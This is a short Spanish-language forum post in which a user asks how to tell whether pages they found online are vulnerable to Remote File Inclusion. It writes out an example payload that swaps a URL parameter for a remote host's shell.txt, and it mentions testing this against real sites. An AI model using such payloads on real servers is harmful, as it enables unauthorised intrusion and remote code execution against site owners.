pregunta sobre RFI

[aivx]

buen día, leyendo un poco me encontre con el vejo RFI, me puse a buscar y encontre varias paginas vulnerables a ello todavia o que por lo menos parecen, mi pregunta es:


cuando en lugar de abrir en php el archivo de rfi lo abre como texto, significa que NO es vulnerable?

ejemplo:

ejemplo.com/index.php?index=index2.php lo cambiamos a
ejemplo.com/index.php?index=www.ejemplo3.com/shell.txt

me abre el archivo como txt o gif, o jpp o cualquier formato, pero no en php, significa que NO es vulnerable no?

sin embargo cuando lo dejo en formato php si me abre la pagina estilo iframe pero tomando los datos del server remoto

alguien me ayuda a entender eso?

saludos!